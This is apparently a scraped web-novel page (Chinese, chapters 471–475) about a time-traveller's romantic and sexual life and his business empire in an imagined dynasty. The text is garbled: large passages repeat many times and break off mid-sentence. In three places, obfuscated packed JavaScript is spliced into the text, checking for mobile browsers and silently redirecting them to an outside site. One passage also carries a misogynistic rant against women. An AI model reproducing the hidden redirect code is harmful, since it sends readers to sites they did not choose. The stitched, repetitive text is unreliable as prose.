她还是那身紫色长裙,藏在里面的白花花长腿特别吸睛。 “别别别,夫君!您等等,妾身先去喝碗药。” “喝药?”林臻动作戛然而止,问道:“你怎么了?身体出什么问题了吗?” “不是,是妾身.”说到这张俪的脸蛋一红。 刚刚林臻那么大尺度的动作都没能让她脸红。 “是妾身找孙神仙给开个药方,可以可以帮助妾身怀孕的那种”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张俪翻个白眼:“那对姐妹等您这么久,您才想起来啊?也是够无情的。” “呼!!”林臻把头扬起来,深深吸上口气,刚才闷坏了:“为夫我正是因为有情,所以才不能乱来!” 说完林臻手忙脚乱地给张俪解裙子。 她还是那身紫色长裙,藏在里面的白花花长腿特别吸睛。 “别别别,夫君!您等等,妾身先去喝碗药。” “喝药?”林臻动作戛然而止,问道:“你怎么了?身体出什么问题了吗?” “不是,是妾身.”说到这张俪的脸蛋一红。 刚刚林臻那么大尺度的动作都没能让她脸红。 “是妾身找孙神仙给开个药方,可以可以帮助妾身怀孕的那种” 原来如此。 张俪看着晴雯和青霞的肚子一天比一天大,自己也开始着急了。 虽然不同时代有对生育这件事情的不同看法,但是在大乾,女人结了婚不生孩子,那就是有问题,而且有很大的问题! 像张俪这样的女强人自然是不允许被这种**欺负的,除此以外,她也确实想给林臻生个孩子,于是就找到孙神仙,索要受孕良方。 只见张俪起身,打开柜子从里面拿出一个黑色的药丸,放进茶杯里碾碎,再用热水一冲。 浓郁的药香瞬间弥漫开来,张俪仰头喝下,随即朝林臻走来。 边走,边宽衣解带。 ” “你的好掌柜,闫菲闫苗啊。” 张俪翻个白眼:“那对姐妹等您这么久,您才想起来啊?也是够无情的。” “呼!!”林臻把头扬起来,深深吸上口气,刚才闷坏了:“为夫我正是因为有情,所以才不能乱来!” 说完林臻手忙脚乱地给张俪解裙子。 她还是那身紫色长裙,藏在里面的白花花长腿特别吸睛。 “别别别,夫君!您等等,妾身先去喝碗药。” “喝药?”林臻动作戛然而止,问道:“你怎么了?身体出什么问题了吗?” “不是,是妾身.”说到这张俪的脸蛋一红。 刚刚林臻那么大尺度的动作都没能让她脸红。 “是妾身找孙神仙给开个药方,可以可以帮助妾身怀孕的那种” 原来如此。 张俪看着晴雯和青霞的肚子一天比一天大,自己也开始着急了。 虽然不同时代有对生育这件事情的不同看法,但是在大乾,女人结了婚不生孩子,那就是有问题,而且有很大的问题! 像张俪这样的女强人自然是不允许被这种**欺负的,除此以外,她也确实想给林臻生个孩子,于是就找到孙神仙,索要受孕良方。 只见张俪起身,打开柜子从里面拿出一个黑色的药丸,放进茶杯里碾碎,再用热水一冲。 浓郁的药香瞬间弥漫开来,张俪仰头喝下,随即朝林臻走来。 边走,边宽衣解带。 第472章 一个女人最有魅力的时候 这个时候往往就是一个女人最有魅力的时候。 一个女人,尤其是一个漂亮的女人,如果什么都不穿地站在你面前,那并不漂亮,因为大家都身体都差不多。 可如果这个漂亮女人站在你面前,一点一点,动作优雅缓慢地将自己身上的衣物一一解开脱下林臻认为没有哪个男人可以拒绝这种诱惑。 尤其是你深爱的女神坐在高凳上,脱掉高跟鞋,最后再一点一点地脱掉丝袜嘶.不行,回头必须得找楚惜灵研究研究,争取搞点情趣用品出来。 张俪本来就对羞涩这种事情就没多敏感。 早年混迹赌场,见惯、也听惯了那些调戏的语言,所以她有一颗大心脏,即便林臻目光死死盯着她,她也不觉得羞耻,反而觉得有几分幸福与得意。 她自然是漂亮的,所有人都这么认为。尤其是在经过林臻的辛勤耕耘之后,举手投足间更是带着几分少妇独有的成熟韵味与妩媚。 外袍滑落在地上,噗的一声。 林臻的目光被吸引,很快一只白皙娇嫩的玉足便踩在上面,脚趾微微弯曲,用着力气,引领另一只玉足踩过来,如此交替。 林臻顺着那光洁纤细的脚踝向上看去,目光划过小腿与没有任何瑕疵的膝盖。 张俪的膝盖很圆润,看不出任何轮廓,好像小腿与大腿浑然天成那般。 不像有的女子,膝盖骨很大,或者因为总跪着、蹲着,导致膝盖发黑变色,失了美感。 再往上看就不让写了。 总之,张俪缓缓走到林臻身前,落落大方地坐在他腿上,动作优雅而自然,手臂环绕在他脖颈上,吐气如兰地说道:“夫君,你偏心!” 林臻心知肚明,知道她说的就是孩子的事情。 他无奈地摸了摸鼻尖,单手搂住她细嫩光滑的纤腰,疼爱地说:“这也不能怪我呀,老天爷不给.唔!!” 林臻话还没说话,张俪便一口堵住他的嘴。 一切尽在不言中。 事后总是要睡一觉的,林臻醒过来的时候已经是傍晚。 刚刚开春,天色黑得很早,如果在后世大概就六七点的样子。 这一觉林臻睡得很沉。 连续多日的忙碌本来不觉得疲惫,可突然放松下来才知道自己确实需要好好休息一下。 摸了摸身边,发现张俪没在。 他坐起身,转头,便看到张俪正双膝并拢,依靠在窗边的榻榻米上喝茶,目光盯着窗外的夜景。 林臻下的。 张俪听到动静转过头,笑道:“夫君醒了?” “嗯,你怎么不多睡一会儿啊?” “等下回了府还要睡呢,现在睡得多,晚上就睡不着了。” “你在看什么?”林臻象征性地披了件大氅,实则披和不披没什么区别,重要的部位在空中来回晃悠。 张俪倒没什么歪歪扭扭的心思,见林臻坐过来,还倚靠在他坚实滚烫的胸口,指着外面说道:“夫君你看,这人啊,都活得忙忙叨叨的,但是大家脸上都有笑脸。妾身记得两年前,京城还不是这个样子呢。” “没错,两年前,确实不是这个样子。” “所以妾身现在最喜欢坐在这里看他们,他们偶尔也会抬头看向妾身,笑着和妾身打招呼。只是妾身不管怎么看还是不明白,这一切到底是因为什么?难道百姓的日子已经好过了吗?” 林臻看向窗外,虽然已经是傍晚,但街道上依旧人来人往,热闹非凡,不管是男人、女人,老少儿童,只要有时间都想上街逛逛,一片欢声笑语。 这样的场景,林臻只在后世见到过。 在古代,简直就是天方夜谭。 韩国博望县的百姓一片死寂,那里的破败与消沉还历历在目,简直与眼前景色形成鲜明对比。 林臻摇摇头,说道“不是日子过好了,而是百姓对生活有希望了,他们可以看到自己的努力在逐渐获得回报。即便回报与努力总是不成正比,但这也足够让他们开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485568|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心。” 林臻指了指赌场对面,张俪上个月新张开的酒楼。 酒楼门口,一名肩膀披着抹布小厮正在点头哈腰地邀请客人进门,不断朝里面吆喝:“楼上男宾三位!!” 这口头语估计是洗浴掌柜给培训的。 不过也还不错。 林臻说道:“你瞧,那孩子多机灵啊,满脸都是笑容。” 张俪也点点头:“嗯,那孩子是妾身亲自招进来的,叫小米,家里人口多,地不够种,为了给妹妹攒嫁妆,自己就进城来谋生了。” “那按他的身份应该接触不上你才对啊。” “呵呵呵,确实如此。但是那天妾身去台球厅巡视的时候,一条绣着金箔的帕子掉了,大家都没注意,偏偏他看见,还捡了起来。现在黄金因为不流通,所以比较值钱,如果他拿着帕子去妾身的当铺,妾身还能理解,可这孩子居然跑过来要还给妾身。” 说到这,张俪有些忍俊不禁。 “呵呵呵,结果不出意外,他被虎贲营的护卫给拦下来,那孩子还一遍遍地喊,‘姐姐,姐姐,这是你的帕子’。呵呵呵,妾身见他本性纯良,就留了下来,正好酒楼开张缺个机灵、懂事的小二,于是就让他过去,干得确实不错。” “见财而不忘义,是个好孩子。但你知道他为什么这么开心,这么喜欢这份工作吗?” “这妾身不知。”张俪摇摇头,晃动的青丝掀起阵阵幽香。 林臻深深吸上一口,说道:“因为现在京城里的平均工资很高,只要好好干,不触发律法,三年时间就能给自己妹妹攒出来嫁妆,五年娶妻生子,二十年的积蓄就足够赡养自己的父母一辈子,所以我说,他的生活有了希望。” 张俪深以为然地点点头:“夫君此言有理,我们身处高位,却忽略了普通百姓真正所需要的东西价值。很多在我们看来很小的利润,在他们看来都是可以养家糊口的资本,所以他们很开心。因为自己的双手可以为家人创造财富,创造富足的生活。” 第473章 讲故事,别当真 所以说百姓幸福,安居乐业,才是一个国家君主最想看到的样子。 因为这代表着他们不会**,不会对朝廷不瞒,更不会想方设法地推翻。 古代那么多帝王将相,敛吧敛吧都能凑一个营了。但历朝历代,几乎没有毁在开国皇帝身上的朝代,因为开国皇帝都希望把国家建设得更好。 包括被骂了两千年的始皇嬴政、打造酒池肉林的纣王等等。 朝代的毁灭基本都怪罪于那些不学无术还偏偏当了皇帝的富N代身上。 林臻以前见过一个大老板。 这老板是靠矿发家的,在九十年代,全国正处于高速发展的改开时期,在东北,很多矿业其实都是自主开发的,还有许多是抢来的。 因为那时候律法不够完善,尤其是对自然资源这一块,不管是煤矿、铁矿、铜矿等等矿产,基本就是谁抢到,就是谁的。 和谁第一个开挖,没有任何关系。 别抬杠,听林臻说完,以上这些都不是重点。 重点是,一个农村出身,还当过兵的穷小子,在回家后就组织了一帮战友,抢占了一个矿。 其中凶险自然是不必多说。但是他成功了,而且非常成功。 当时东北的煤矿大多是给南边运,或者是运送到热电厂之类需要煤炭的大型工厂。据那位大老板回忆,在九十年代末期,他这个矿,一天就能给他带来五百万多万的收入。 比他妈印钱还快呢。 后来老板在高人的帮助下开始进军房地产,再后来又搞旅游开发。 瘟疫的时候.亏点,但是也没像那些小门小户的企业一样破产。 然而就是这样一位全国知名的企业家,却有个不学无术的儿子。 他当年为了能让儿子好好学习,从而继承家业,特意花重金把他儿子送到了新加坡一所知名大学,学习金融管理。 好嘞,四年大学读完回来。 管理没玩明白,但是把金融玩明白了。 第一年炒股亏了六个亿, 他爹大发雷霆,不仅棍棒殴打一番,还说以后你每个月只能有六百万的零花钱,多一分都不给。 六百万啊,那可是2012年。 当时大家在酒桌上喝酒,林臻就以为他是喝多了吹牛呢。 因为不管是对林臻,还是在坐的其他人来讲。 六百万,不**不**不犯法,最少得一百五十年才能赚到。 而且是赚到,不是攒下。 这样的话根 本就没有人相信,大家一笑而过,可谁知道酒席没散他儿子就进了包厢。 大老板亲自为我们一一引荐,最后酒席散时大老板还亲自拍着林臻的肩膀对他儿子说:“儿啊,以后你和小林多来往,多跟他学学,他可是可是哕!!” 喝太多了,大老板话还没说完就吐了。 不过大概意思说明白了,散后他儿子搂着我的肩膀,说,林哥,你一看就能当某某大官,今晚弟弟安排。 林臻也算比较能喝的,当时陪大老板喝酒,喝得不上不下,正是需要进军二场的时候,于是就坐上了他司机开的大G。 一路向南,来到当地最牛逼的夜店。 这么说或许不准确,只能说当年是最牛逼,叫什么什么.夜未央? 不记得了,但是林臻记得一进门,他儿子就像皇帝似的,一大堆姑娘就围了上来。 他摸摸这个,抠抠那个,还都不错,回头对林臻说:“林哥,今晚你随便挑。” 林臻也算见过世面的,认为眼前这些都不算什么。 后来就坐在位置最好的沙发上开始喝酒,看演出。 说实话,那些酒林臻连听都没听过,喝着也不觉得好,可最后结账的时候.花了三十多万。 带走的姑娘们,好处另算。 如果说这样就算震惊到林臻,那确实震惊了,但是这样还没结束,第二天去了个商场。 林臻本来不喜欢逛商场,也不太了解,就知道这个商场里什么品牌的衣服都有,而且都不便宜。 像他这样的普通人民公仆,进门后基本连问价的资格都没有。 但是这回不一定,身边跟着大冤种啊。 他儿子进了门就开始买衣服,不是像小说里那样,一件衣服动辄几十万上百万,那是小说,作者对金钱也没有什么概念。 一件白色T恤卖两万块钱,就已经离大谱了。 他儿子一口气买了一身,花了大几万块。 昨天去夜店那身说有烟味,直接扔了。 要说昨天喝多了没什么记忆,那买衣服那天林臻是真的被震惊到了。 原来这个世界上,有钱人真的不在乎钱,可能他们手指缝里漏出来点,就足够一家三口一辈子衣食无忧。 说这么多,林臻就是想表达下不同阶层对待金钱的态度是不同的。 曾经让林臻羡慕的险些犯错误的富二代,在如今看来也不过如此。 因为他也变成了真正意义上的有钱人。 但是他没有飘,也没有 变得猖狂,依旧粗茶淡饭地过日子。 虽然有个喜欢花重金穿凤袍的老婆,但也无伤大雅。 在自己花不完的前提下,林臻就不准备攒钱,因为没什么用,有钱人最忌讳的就是攒钱。 所以他特意交代张俪,要提高员工待遇,要让给我们工作、干活的百姓对工作的地方有归属感,这样他们才会在出事的时候向着你。 林臻毫不夸张地说,如果哪天慕容嫣与张俪翻脸,说要杀张俪。 那全城的打工人第一个不同意,说不定还会**。 且不说**是否会成功,但足以看出,老板体恤下属,给了下属归属感这件事情是有多么重要。 林臻拍了拍张俪那饱满而富态的肩膀,笑道:“现在是事业的稳定发展阶段,所以可以适当提高员工待遇,但不要太过,因为薪水这种东西涨上去就不好再降。京城这边已经差不多了,日后得空多看看地方上的产业,等开了春,为夫可能要和嫣儿去南边,到时候我们一起去巡视。” “好~都听夫君的~”张俪腻声答应,靠在林臻怀里。 “走吧,我们回家。” “回家?妾身回去可以,但夫君还是留在这里这里吧。” 林臻微微一愣:“为什么?” “你觉得上官夫人会同意你带闫菲、闫苗回去吗?” 变得猖狂,依旧粗茶淡饭地过日子。 虽然有个喜欢花重金穿凤袍的老婆,但也无伤大雅。 在自己花不完的前提下,林臻就不准备攒钱,因为没什么用,有钱人最忌讳的就是攒钱。 所以他特意交代张俪,要提高员工待遇,要让给我们工作、干活的百姓对工作的地方有归属感,这样他们才会在出事的时候向着你。 林臻毫不夸张地说,如果哪天慕容嫣与张俪翻脸,说要杀张俪。 那全城的打工人第一个不同意,说不定还会**。 且不说**是否会成功,但足以看出,老板体恤下属,给了下属归属感这件事情是有多么重要。 林臻拍了拍张俪那饱满而富态的肩膀,笑道:“现在是事业的稳定发展阶段,所以可以适当提高员工待遇,但不要太过,因为薪水这种东西涨上去就不好再降。京城这边已经差不多了,日后得空多看看地方上的产业,等开了春,为夫可能要和嫣儿去南边,到时候我们一起去巡视。” “好~都听夫君的~”张俪腻声答应,靠在林臻怀里。 “走吧,我们回家。” “回家?妾身回去可以,但夫君还是留在这里这里吧。” 林臻微微一愣:“为什么?” “你觉得上官夫人会同意你带闫菲、闫苗回去吗?” 变得猖狂,依旧粗茶淡饭地过日子。 虽然有个喜欢花重金穿凤袍的老婆,但也无伤大雅。 在自己花不完的前提下,林臻就不准备攒钱,因为没什么用,有钱人最忌讳的就是攒钱。 所以他特意交代张俪,要提高员工待遇,要让给我们工作、干活的百姓对工作的地方有归属感,这样他们才会在出事的时候向着你。 林臻毫不夸张地说,如果哪天慕容嫣与张俪翻脸,说要杀张俪。 那全城的打工人第一个不同意,说不定还会**。 且不说**是否会成功,但足以看出,老板体恤下属,给了下属归属感这件事情是有多么重要。 林臻拍了拍张俪那饱满而富态的肩膀,笑道:“现在是事业的稳定发展阶段,所以可以适当提高员工待遇,但不要太过,因为薪水这种东西涨上去就不好再降。京城这边已经差不多了,日后得空多看看地方上的产业,等开了春,为夫可能要和嫣儿去南边,到时候我们一起去巡视。” “好~都听夫君的~”张俪腻声答应,靠在林臻怀里。 “走吧,我们回家。” “回家?妾身回去可以,但夫君还是留在这里这里吧。” 林臻微微一愣:“为什么?” “你觉得上官夫人会同意你带闫菲、闫苗回去吗?” 变得猖狂,依旧粗茶淡饭地过日子。 虽然有个喜欢花重金穿凤袍的老婆,但也无伤大雅。 在自己花不完的前提下,林臻就不准备攒钱,因为没什么用,有钱人最忌讳的就是攒钱。 所以他特意交代张俪,要提高员工待遇,要让给我们工作、干活的百姓对工作的地方有归属感,这样他们才会在出事的时候向着你。 林臻毫不夸张地说,如果哪天慕容嫣与张俪翻脸,说要杀张俪。 那全城的打工人第一个不同意,说不定还会**。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485569|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 且不说**是否会成功,但足以看出,老板体恤下属,给了下属归属感这件事情是有多么重要。 林臻拍了拍张俪那饱满而富态的肩膀,笑道:“现在是事业的稳定发展阶段,所以可以适当提高员工待遇,但不要太过,因为薪水这种东西涨上去就不好再降。京城这边已经差不多了,日后得空多看看地方上的产业,等开了春,为夫可能要和嫣儿去南边,到时候我们一起去巡视。” “好~都听夫君的~”张俪腻声答应,靠在林臻怀里。 “走吧,我们回家。” “回家?妾身回去可以,但夫君还是留在这里这里吧。” 林臻微微一愣:“为什么?” “你觉得上官夫人会同意你带闫菲、闫苗回去吗?” 变得猖狂,依旧粗茶淡饭地过日子。 虽然有个喜欢花重金穿凤袍的老婆,但也无伤大雅。 在自己花不完的前提下,林臻就不准备攒钱,因为没什么用,有钱人最忌讳的就是攒钱。 所以他特意交代张俪,要提高员工待遇,要让给我们工作、干活的百姓对工作的地方有归属感,这样他们才会在出事的时候向着你。 林臻毫不夸张地说,如果哪天慕容嫣与张俪翻脸,说要杀张俪。 那全城的打工人第一个不同意,说不定还会**。 且不说**是否会成功,但足以看出,老板体恤下属,给了下属归属感这件事情是有多么重要。 林臻拍了拍张俪那饱满而富态的肩膀,笑道:“现在是事业的稳定发展阶段,所以可以适当提高员工待遇,但不要太过,因为薪水这种东西涨上去就不好再降。京城这边已经差不多了,日后得空多看看地方上的产业,等开了春,为夫可能要和嫣儿去南边,到时候我们一起去巡视。” “好~都听夫君的~”张俪腻声答应,靠在林臻怀里。 “走吧,我们回家。” “回家?妾身回去可以,但夫君还是留在这里这里吧。” 林臻微微一愣:“为什么?” “你觉得上官夫人会同意你带闫菲、闫苗回去吗?” 变得猖狂,依旧粗茶淡饭地过日子。 虽然有个喜欢花重金穿凤袍的老婆,但也无伤大雅。 在自己花不完的前提下,林臻就不准备攒钱,因为没什么用,有钱人最忌讳的就是攒钱。 所以他特意交代张俪,要提高员工待遇,要让给我们工作、干活的百姓对工作的地方有归属感,这样他们才会在出事的时候向着你。 林臻毫不夸张地说,如果哪天慕容嫣与张俪翻脸,说要杀张俪。 那全城的打工人第一个不同意,说不定还会**。 且不说**是否会成功,但足以看出,老板体恤下属,给了下属归属感这件事情是有多么重要。 林臻拍了拍张俪那饱满而富态的肩膀,笑道:“现在是事业的稳定发展阶段,所以可以适当提高员工待遇,但不要太过,因为薪水这种东西涨上去就不好再降。京城这边已经差不多了,日后得空多看看地方上的产业,等开了春,为夫可能要和嫣儿去南边,到时候我们一起去巡视。” “好~都听夫君的~”张俪腻声答应,靠在林臻怀里。 “走吧,我们回家。” “回家?妾身回去可以,但夫君还是留在这里这里吧。” 林臻微微一愣:“为什么?” “你觉得上官夫人会同意你带闫菲、闫苗回去吗?” 变得猖狂,依旧粗茶淡饭地过日子。 虽然有个喜欢花重金穿凤袍的老婆,但也无伤大雅。 在自己花不完的前提下,林臻就不准备攒钱,因为没什么用,有钱人最忌讳的就是攒钱。 所以他特意交代张俪,要提高员工待遇,要让给我们工作、干活的百姓对工作的地方有归属感,这样他们才会在出事的时候向着你。 林臻毫不夸张地说,如果哪天慕容嫣与张俪翻脸,说要杀张俪。 那全城的打工人第一个不同意,说不定还会**。 且不说**是否会成功,但足以看出,老板体恤下属,给了下属归属感这件事情是有多么重要。 林臻拍了拍张俪那饱满而富态的肩膀,笑道:“现在是事业的稳定发展阶段,所以可以适当提高员工待遇,但不要太过,因为薪水这种东西涨上去就不好再降。京城这边已经差不多了,日后得空多看看地方上的产业,等开了春,为夫可能要和嫣儿去南边,到时候我们一起去巡视。” “好~都听夫君的~”张俪腻声答应,靠在林臻怀里。 “走吧,我们回家。” “回家?妾身回去可以,但夫君还是留在这里这里吧。” 林臻微微一愣:“为什么?” “你觉得上官夫人会同意你带闫菲、闫苗回去吗?” 第474章 生活 嘶.有道理啊。 婉儿最近正操持家业呢,在家里立了很多新的规矩,林臻贸然把双胞胎带回去很可能会影响她的权威。 罢了,犯不上。 在外面养几个才是正经,不能睡一个就带回去一个。 林臻点点头,怜爱地摸了摸张俪的脸蛋:“那为夫就明天回去吧,今天就在娱乐城好好休息一下。” “妾身也是这个意思,虽然娱乐城还不算彻底落实,但也总比回家那般拘谨得好。”张俪起身,把大氅给林臻披好,笑着说,“夫君今晚就在这享受,妾身回去,顺便给您探探口风。” 这是玩笑话。 林臻回家根本不需要探口风,但这种类似于偷情的感觉还真有几分刺激。 如果在后世,生活作风错误是要影响前途的,但现在嘛.这叫附庸风雅,家里人就算知道也不会多管,朝廷知道更不会多问。 好啊,古代就是好啊。 张俪喊来自己的丫鬟帮忙穿衣服。 这丫鬟林臻以前见过,但没怎么上心,只记得她小小的,脑袋顶上梳着两个发髻,很是可爱。在给张俪穿衣服的过程中,眼睛不断往林臻身上瞟。 尤其是那大氅遮不住的地方,那里有她从没见过的风景,小丫头看得脸蛋微红,时而闪躲时而又偷瞄。 这小动作自然逃不过张俪的法眼。 她偷偷在小丫头的腰间一掐,吓得她失声大叫:“啊!” “小妮子,偷看什么呢?” “奴婢没有啊” “还说没有!走,回家。” “是” 最后小丫头恋恋不舍地又看了几眼,这才跟着张俪离开。 林臻根本没注意那边,他目光望向窗外那车水马龙的街市,愣愣出神。 也不知过了多久,他随手拿过来矮几上的茶盏,抿了一口,忽然咦了一声,皱眉说道:“这个时候怎么能喝茶呢?来人,上酒菜。” 吱呀。 门被打开,闫菲闫苗两女脸蛋绯红地走进来,一人手里端着小菜,另一人手里端着温好的酒。 两人款款而来,将东西放在矮几上,再顺手把上面的茶具收走。 “世子.” 林臻回头,见是她们姐俩,微微一笑:“怎么是你们?” 闫菲回答说:“是老板让我们在门外候着的,说世子等下可能会吃饭。” 知夫莫若妻啊。 林臻点点头,见矮几上都是自己喜欢吃的菜,更是欣慰无比。 其实很多时间,男人的要求并不高。 他们也许只是想在自己忙碌了一天后回到家能吃上一口热饭,喝上一口热汤。 仅此而已。 但仅仅这样的要求,在某些女拳师眼中都是非常过分的。 甚至她们会用很恶心的话来攻击你。 “你直接娶个保姆的了呗?” “我们女人欠你们男人的啊,还给你们做饭?” “凭什么啊?女性已经觉醒了,不是伺候你们男人的了!” 诸如此类。 其实林臻一直都不知道从什么时候开始,女人已经觉醒到这个地步了。 男人伺候你们就是应该的,我们工资卡上交也是应该的,你们拿着我们男人赚来的钱花天酒地就是应该的。 反过来我们要求你们一点东西,你们就跟我说凭什么! **的。 凭你妈把你生得丑,行了吧? 想想就来气。 不过还好,林臻已经穿越了。 虽然慕容嫣在极力想办法提高女子待遇,但却从没说过要提高到男人伺候女人的地步。 所以趁现在时间正好,肆意享受吧。 林臻张开手,闫菲闫苗便很自然地来到他身边,一左一右坐下。 “世子,奴家喂您吃~”闫菲拿起筷子夹起一块小酥肉。 闫苗也不甘落后,伸手倒酒。 温热的琼浆入盏,被她纤细葱白的手指端住,渐渐递到嘴边。 林臻来者不拒,吃一口肉,喝一口酒。 不知不觉大氅滑落,露出林臻那精壮的肌肉鸡。 闫菲装作不经意地看了一眼,便立刻有绯红爬上脸颊。闫苗更是连端着酒杯的手都有些颤抖。 林臻说道:“你们老家都是哪的?” “回世子,奴家是辽东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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闫苗说完,闫菲接着说道:“这一切还要感谢世子,若不是世子体恤,我们百姓哪有这样的生活。” “辽东的事情是一早就敲定的,所以你们也不用谢我。倒是你们,现在也摇身一变成为四九城里说一不二的大掌柜了,以后还需处处谨慎,以免上当受骗。至于家里,能帮就帮一把。虽然当时父母狠心,但那也是没办法的事情,为了活着嘛。” “世子所言极是,奴家明白。” 第475章 今天说什么也得好好舒坦舒坦。 倒不是说林臻圣母心,而是在那种极端条件的选择是迫于无奈的。 即便说女儿不被重视,那也是亲骨肉。尤其对母亲而言,卖儿卖女是最难接受的事情。 闫菲闫苗现在管着赌场里的一切,包括追债这方面,心狠手辣是肯定的。 但能对自己父母当初的选择报以原谅,林臻很欣赏。 吃完了饭,林臻下地,闫菲很懂事的亲自跪在地上给他穿鞋,闫苗则是拿来衣物给他穿好。 但只穿了一件,林真便摆摆手。 “不穿了,去洗个澡,等下还要脱。” “是。” 不管是赌场,还是青楼,还是洗浴,每个区域的三楼都是相通的,但唯独张俪这间办公室特殊,因为它在三楼的最北面,是整排三楼的最后一个房间,并且与外面相隔。 也就是说,其他人连走到张俪办公室门前的资格都没有。 林臻出门,顺着昂贵的波斯地毯往南边走,一路上遇到不少客人。 大家都很谦卑地和林臻打招呼,世子长,世子短的。 也遇到曾经几个玩得比较好的纨绔子弟。不过林臻现在和他们已经不是一个阶层了,他们见到林臻也只能喊一声大哥,不敢再有过多的言语。 一路来到青楼区域,推开隔断的门,便有震耳欲聋的音乐声传来。 与其说是青楼,倒不如说是京城里唯一一家夜店更准确。 张俪搜集了京城附近最好的乐师,花重金挖来很多舞娘,每晚夜夜笙歌,客人络绎不绝。 再往前走,就是洗浴中心。 林臻在这里有一间独属于他的包房。 房间里有泡池,有休息区,有待客区等等,但如果林臻不来,这里是不开放的。 早有小厮通知了洗浴这边的服务员,包括洗浴的大掌柜等人纷纷在这里接驾。 大掌柜是个发福的中年男人,一双三角眼看起来十分精明,符合林臻对洗浴中心经理的刻板印象。 林臻没和他们多说话,进入包房后发现水早已经放好了,袅袅热气升腾。 在博望县呆了那么久,身上都快臭了,每天只能用小溪里的水洗洗头发,偶尔老庄派人烧一盆洗澡水,但也没办法搓澡,洗不干净。 林臻是个很爱干净的人,所以今天说什么也得好好舒坦舒坦。 闫苗关上房门,闫菲点燃香炉,随即两人陪着林臻一同来到池边,伸手将他的外袍脱下,最后一件一件将林臻剥个精光。 林臻张开双臂,像 个孩子似的身体一跃,跳了进去。 噗通—— 一大片水花飞溅,弄得双胞胎身上的纱裙迅速湿润,隐隐透着几分皮肉的妩媚。 林臻把脑袋沉进水里,憋了很久才上来,最后一抹额前长发,将其梳在后面。 “你们也下来泡?” 林臻带着几分坏笑。 双胞胎相互看了一眼,竟齐刷刷的宽衣解带。 可以说,这一天对她们来讲已经等得太久了。 然而靠在池壁边缘的林臻已经看傻了。 他见过美女,但从没见过长相一模一样的美女。 此时此刻,闫菲闫苗那共同美丽的脸上都挂着淡淡红润与羞涩,她们都是那么的高挑,身材火爆,尤其是纱裙滑落后露出的那双圆润而修长的美腿,深深吸引着林臻。 双胞胎是所有男人的梦想。 而今天,即将实现。 两位美人先是用脚尖碰水,随即缓缓而入,动作自然而优雅,带着几分期待与惊喜。 入水后来到林臻身边,拿起池边的澡巾轻轻为他擦拭身体。 月亮如钩,照应着眼前唯美的画面。 又有两位娇滴滴的女孩子成功蜕变。 总在温柔乡里沉溺也不行,总要干点正经事儿。 第二天林臻休息得很好,在相貌没有任何区别的两女额头一吻,起身离开。 回到张俪这边。 在她本人的温馨伺候下穿好衣服,准备回府。 婉儿的身体并没有大好,尤其是这段时间林臻不在家,她失去了灵丹妙药,身体大不如林臻离开之前。 即便如此,她还是坚持家规没有变,现在府里不管是妻妾还是丫鬟小厮,见到她就没有不害怕的。 林臻回来的第一件事就是去看望老爷子。 这是规矩,如果先去看婉儿,婉儿肯定会埋怨他。 林震仙不见半分老态,甚至威严更胜从前,有种越活越年轻的架势。 这是好事儿。 家有一老,如有一宝。 走进静心园,就见林大拿正站在门口巡视。 见到林臻走过来,他笑道:“世子,您回来了!?” 林臻点点头:“嗯,王爷呢?” “在里屋。” “你站着干什么?以你现在的身份,不是应该在军营里吗?” “嗐!”王大拿一摆手:“世子有所不知,本来末将是应该在军营的,可是后来给王爷配的几个卫兵都不如意,没办法 ,末将只要回来了。” 身边人总是越用越熟的,林震仙不习惯也正常。 不过也好,跟着林震仙,进步的肯定比在军营里更快,只是权力稍小而已。 不是有那么句话吗?爬得最快的方法不是参加国考,而是当省长的司机。 大官退休前,只要不是特别操蛋的那种,基本都会把跟在他身边的人安排好。 二十五岁参加工作,二十年的时间,凭借自己的实力能上任副处就已经是普通人的极限了。 但如果殷勤伺候领导二十年,就有可能会去厅级单位担任闲职,而后再调任领导岗位。 至于今后能不能进步,那就看自己了。 林臻不知道为什么,总觉得林大拿好像有什么心事,不过他也没追问,直接走进房间里。 老爷子站在沙盘前面,这是他每天都要做一遍的事情,甚至有时候会看很久。 林臻走过去,双手作揖:“参见祖父。” “臻儿?你什么时候回来的?” “刚回来。” “棒子那边都整顿好了?” “是,博望县铁矿已经由我们自由开发,而且孙儿还结实了当地的官员,配合不错。” “哈哈哈哈。”老爷子哈哈大笑,很是开心,“不愧是老夫的孙子,就是有本事!拿一文不值的破酒换铁,这买卖划算得很啊!” ,末将只要回来了。” 身边人总是越用越熟的,林震仙不习惯也正常。 不过也好,跟着林震仙,进步的肯定比在军营里更快,只是权力稍小而已。 不是有那么句话吗?爬得最快的方法不是参加国考,而是当省长的司机。 大官退休前,只要不是特别操蛋的那种,基本都会把跟在他身边的人安排好。 